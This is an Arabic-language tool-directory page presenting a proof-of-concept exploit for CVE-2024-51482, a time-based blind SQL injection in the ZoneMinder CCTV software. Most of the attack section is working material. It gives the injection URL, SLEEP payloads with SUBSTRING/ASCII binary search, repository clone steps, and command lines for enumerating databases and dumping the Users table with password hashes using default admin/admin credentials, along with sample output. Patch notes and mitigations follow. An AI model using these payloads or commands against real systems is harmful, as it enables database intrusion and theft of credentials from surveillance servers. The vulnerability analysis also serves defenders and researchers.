Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-51482 — ZenoMinder: إثبات مفهوم حقن SQL الأعمى | Kitploit
أدوات/GitHubGitHub/bridgeralderson/cve-2024-51482
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder: إثبات مفهوم حقن SQL الأعمى

عرض المستودع
846منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-51482 - حقن SQL أعمى في ZoneMinder

جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • تحليل تقني
  • دليل الاستغلال
  • التثبيت
  • أمثلة الاستخدام
  • التخفيف
  • المراجع

نظرة عامة

CVE-2024-51482 هي ثغرة حقن SQL منطقية حرجة (boolean-based) تم اكتشافها في ZoneMinder، وهو برنامج مراقبة CCTV مفتوح المصدر شائع. يؤثر هذا الخلل على الإصدارات 1.37.* حتى 1.37.64 ويسمح للمهاجمين الموثوقين بصلاحيات منخفضة بتنفيذ أوامر SQL عشوائية على خادم قاعدة البيانات الأساسي.

المقياسالقيمة
معرف CVECVE-2024-51482
درجة CVSS9.9 (حرجة)
متجه الهجومالشبكة
الصلاحيات المطلوبةمنخفضة
تفاعل المستخدملا شيء
النطاقمتغير
الأثرالسرية، التكامل، التوفر - عالٍ
الإصدار المصحح1.37.65

تفاصيل الثغرة

الإصدارات المتأثرة

  • قابلة للاستغلال: ZoneMinder v1.37.0 حتى v1.37.64.
  • مصححة: ZoneMinder v1.37.65 والإصدارات الأحدث.

السبب الجذري

توجد الثغرة في ملف web/ajax/event.php داخل الدالة removetag. يتم إلحاق المعامل tid (معرف الوسم) مباشرة في استعلام SQL دون تنقية أو معالجة مناسبة.

الكود القابل للاستغلال:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

الكود المصحح:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // استعلام مع وسائط

متجه الهجوم

يمكن تشغيل النقطة القابلة للاستغلال عبر:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[نقطة_الحقن]

تحليل تقني

لماذا الحقن الأعمى القائم على القيم المنطقية؟

لا تعيد نقطة الحقن نتائج الاستعلام مباشرة في الاستجابة، مما يجعل الهجمات التقليدية القائمة على UNION مستحيلة. بدلاً من ذلك، يجب استنتاج المعلومات من خلال الشروط المنطقية أو التأخير الزمني.

  • الأسلوب القائم على القيم المنطقية:
    • شرط صحيح → وقت استجابة عادي.
    • شرط خاطئ → وقت استجابة عادي.
    • يتطلب اختلافات يمكن ملاحظتها في سلوك التطبيق.
  • الأسلوب القائم على الوقت (أكثر موثوقية):
    • شرط صحيح → استجابة متأخرة (SLEEP).
    • شرط خاطئ → وقت استجابة عادي.

آلية الاستغلال

يستخدم استغلالنا الاستخراج القائم على الوقت مع دالة SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

عندما يكون هذا الشرط صحيحًا، ينام قاعدة البيانات لمدة ثانيتين، مما يخلق تأخيرًا قابلاً للقياس في استجابة HTTP.

عملية استخراج الأحرف

  • البحث الثنائي: لكل موضع حرف، نختبر النطاقات باستخدام ASCII(SUBSTRING()) > MID.
  • قياس الوقت: إذا كان الشرط صحيحًا، يتم تشغيل SLEEP.
  • إعادة بناء الحرف: نبني السلسلة حرفًا بحرف.

مثال على حمولة لاستخراج الحرف في الموضع 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

دليل الاستغلال

المتطلبات الأساسية

  • الهدف يعمل بنظام ZoneMinder 1.37.0 - 1.37.64.
  • بيانات اعتماد صالحة (الافتراضي: admin/admin).
  • وصول شبكي إلى واجهة ZoneMinder على الويب.

التثبيت

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# جعل البرنامج النصي قابلًا للتنفيذ
chmod +x CVE-2024-51482.py

# تثبيت التبعيات المطلوبة
pip3 install requests

الاستخدام الأساسي

root@kitploit:~
# اختبار ما إذا كان الهدف قابلاً للاستغلال
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --test

# اكتشاف جميع قواعد البيانات
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --discover

# سرد الجداول في قاعدة بيانات معينة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --tables zm

# سرد الأعمدة في جدول معين
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --columns zm Users

# تفريغ البيانات من أعمدة محددة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --dump zm Users "Username,Password"

# تفريغ جدول المستخدمين (افتراضي)
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users

# تمكين مخرجات التصحيح لعملية الاستخراج التفصيلية
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --debug

# ضبط وقت السكون لاستخراج أكثر موثوقية
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --sleep 3

# تعطيل المخرجات الملونة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --no-color

أمثلة الاستخدام

مثال 1: اختبار الثغرة

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: 192.168.1.100
[*] تسجيل الدخول باسم 'admin' على 192.168.1.100...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.058s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!

مثال 2: تعداد قاعدة البيانات

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --discover
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: <host-الهدف>
[*] تسجيل الدخول باسم 'admin' على <host-الهدف>...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.065s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!
[*] تعداد قواعد البيانات...
[+] تم العثور على قاعدة بيانات: information_schema
[+] تم العثور على قاعدة بيانات: performance_schema
[+] تم العثور على قاعدة بيانات: zm
[+] قواعد البيانات التي تم العثور عليها: 
1. information_schema 
2. performance_schema 
3. zm

مثال 3: تفريغ بيانات اعتماد المستخدم

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: <host-الهدف>
[*] تسجيل الدخول باسم 'admin' على <host-الهدف>...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.062s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!
[*] تفريغ جدول Users من قاعدة بيانات zm...
[*] تعداد الأعمدة في 'zm.Users'...
[+] تم العثور على عمود: Id
[+] تم العثور على عمود: Username
[+] تم العثور على عمود: Password
[+] تم العثور على عمود: Language
[+] تم العثور على عمود: Enabled
[*] تفريغ البيانات من 'zm.Users'...
[+] الصف 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] الصف 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] تم استخراج المستخدمين: 2 
المستخدم: admin 
كلمة المرور: $2y$10$...hashed... 
البريد الإلكتروني: admin@localhost 
مفعل: 1 
المستخدم: operator 
كلمة المرور: $2y$10$...hashed... 
البريد الإلكتروني: operator@localhost 
مفعل: 1

مثال 4: استخراج بيانات مخصصة

root@kitploit:~
# تفريغ أعمدة محددة من جدول Events
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

كيفية عمل الاستغلال

تفصيل خطوة بخطوة

  1. المصادقة: يقوم البرنامج النصي أولاً بالمصادقة على ZoneMinder للحصول على ملف تعريف ارتباط جلسة صالح.
  2. قياس الأساس: يرسل 5 طلبات عادية لتحديد متوسط وقت الاستجابة.
  3. تأكيد الثغرة: يختبر بحمولة SLEEP(2) للتحقق من عمل الحقن.
  4. استخراج الأحرف: لكل موضع حرف، يحدد البحث الثنائي قيمة ASCII:
    • الاستعلام: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • إذا كان الشرط صحيحًا → يتم تشغيل SLEEP → تأخير في الاستجابة.
    • إذا كان الشرط خاطئًا → استجابة فورية.
  5. إعادة بناء السلسلة: يتم تسلسل الأحرف لتكوين سلاسل كاملة.

الميزات الرئيسية

  • خوارزمية البحث الثنائي: تستخرج الأحرف في log₂(95) ≈ 7 طلبات لكل حرف.
  • التوقيت التكيفي: يقوم بمعايرة الأساس تلقائيًا للكشف الدقيق.
  • مؤشر التقدم: يظهر تقدم الاستخراج في الوقت الفعلي.
  • استرداد الأخطاء: يتعامل مع انتهاء مهلة الاتصال بشكل أنيق.
  • وضع التصحيح: يظهر عملية الاستخراج حرفًا بحرف.

التخفيف

الإجراءات الفورية

  • تحديث ZoneMinder إلى الإصدار 1.37.65 أو أحدث :
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • إذا لم يكن التصحيح ممكنًا، قم بتقييد الوصول إلى البرنامج النصي القابل للاستغلال:
    root@kitploit:~
    # تكوين Apache 
    Require ip 192.168.0.0/16
    
  • تنفيذ مبدأ أقل الصلاحيات لحسابات قاعدة البيانات.
  • مراقبة السجلات بحثًا عن محاولات حقن SQL مشبوهة:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

التوصيات طويلة الأجل

  • استخدام استعلامات مع وسائط (parameterized queries) لجميع تفاعلات قاعدة البيانات .
  • تنفيذ قواعد جدار حماية تطبيقات الويب (WAF) .
  • إجراء مراجعات أمنية منتظمة واختبارات اختراق .
  • الحفاظ على تحديث ZoneMinder وجميع التبعيات .

المراجع

  • GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
  • NVD Entry - CVE-2024-51482
  • Patch Commit
  • CISA Vulnrichment
  • Tenable Nessus Plugin
  • Check Point Advisory

إخلاء مسؤولية

هذه الأداة مقدمة للأغراض التعليمية واختبار الأمان فقط. الاختبار غير المصرح به لأنظمة الكمبيوتر غير قانوني. احصل دائمًا على الإذن المناسب قبل اختبار أي نظام.

سلسلة متجه CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

تنزيل الأداة
المقياسالقيمة
متجه الهجومالشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةمنخفضة
تفاعل المستخدملا شيء
النطاقمتغير
السريةعالية
التكاملعالية
التوفرعالية